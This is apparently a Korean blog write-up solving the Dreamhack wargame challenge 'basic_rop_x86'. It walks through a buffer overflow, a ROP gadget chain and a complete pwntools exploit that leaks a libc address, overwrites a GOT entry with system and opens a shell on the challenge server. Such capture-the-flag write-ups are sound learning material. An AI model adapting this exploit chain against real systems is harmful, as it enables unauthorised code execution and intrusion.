basic_rop_x86 풀이

2021. 7. 31. 20:32Dreamhack Wargame

728x90

문제 제목
문제 정보
문제에서 주어진 파일
basic_rop_x86.c 소스코드

문제에서 C 소스코드를 주네요?

분석해보겠습니다.

 

우선 initialize(), alarm_handler() 함수는 중요해 보이지 않으니 한 줄 해석만 하겠습니다.

 

initialize() : buf 세팅, 30초 후에 alarm_handler() 함수에게 신호 전송

alarm_handler() : TIME OUT을 출력하며 프로그램 종료

 

그리고 read 함수로 buf를 0x400만큼 입력을 받으니 BOF가 발생합니다.

write로는 read로 입력받은 buf를 출력해줍니다.

 

문제 정보를 보면 NX가 걸려있으니 쉘코드는 사용하지 못하겠네요.

문제 이름이 rop니까 ROP로 풀어보도록 하겠습니다.

우선 필요한 가젯을 모아보겠습니다.

 

ROPgadget --binary ~~ grep "~~" 명령어로 찾은 ppp gadget

read와 write는 들어가는 인자가 3개니까 pop pop pop 가젯이 필요합니다.

사진에서 보다시피 ppp 가젯의 주소는 0x08048689 입니다.

 

이제 익스코드를 어떤 식으로 만들지 흐름을 적어보겠습니다.

 

우선 read에서 buf랑 sfp 부분을 a로 채우고, ret 부분에 write@plt, ppp gadget을 넣겠습니다.

그리고 그 뒤에 1, read_got, 4를 넣어서 read 함수의 주소를 알아냅니다.

read@plt, ppp gadget을 넣고 0, bss, 8을 넣어서 bss 영역에 /bin/sh를 넣을 수 있도록 세팅해줍니다.

이제 read@plt를 호출해서 bss 영역에 /bin/sh를 저장해줍니다.

그리고 그다음에 실행할 write@plt를 system 주소로 overwrite 해줍니다.

그러면 system 함수가 실행되면서 FLAG를 획득할 수 있을 것입니다.

 

구상은 다 끝났고, 익스코드를 작성하기 전에 buf의 크기를 IDA로 보겠습니다.

 

buf 크기 : 0x44

위의 아이디어를 통해서 짠 익스코드는 아래와 같습니다.

 

from pwn import *

context.log_level = ‘debug’

p = remote(‘host1.dreamhack.games’, 10446)
libc = ELF("./libc.so.6")
e = ELF("./basic_rop_x86")

read_got = e.got[‘read’]
write_plt = e.plt[‘write’]
read_plt = e.plt[‘read’]
read_offset = libc.symbols[‘read’]
pppr = 0x8048689
bss = e.bss()
system_offset = libc.symbols[‘system’]

payload = ‘a’* 0x48
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += ‘aaaa’
payload += p32(bss)

p.sendline(payload)

dummy = p.recv(0x40)
read_addr = u32(p.recv(4))
libc_base = read_addr - read_offset
system = libc_base + system_offset

p.sendline(’/bin/sh’)
p.sendline(p32(system))

p.interactive()

FLAG 획득 완료
문제 풀이 성공

275 포인트.....

생각 외로 엄청 많이 주네요.

32bit ROP 문제를 풀었으니, 다음에는 64bit ROP 문제를 풀어보겠습니다.

728x90

'Dreamhack Wargame' 카테고리의 다른 글

basic_exploitation_002 풀이  (0) 2021.08.02
basic_rop_x64 풀이  (0) 2021.08.01
welcome 풀이  (0) 2021.07.22
basic_exploitation_000 풀이  (0) 2021.07.11
basic_exploitation_001 풀이  (0) 2021.07.10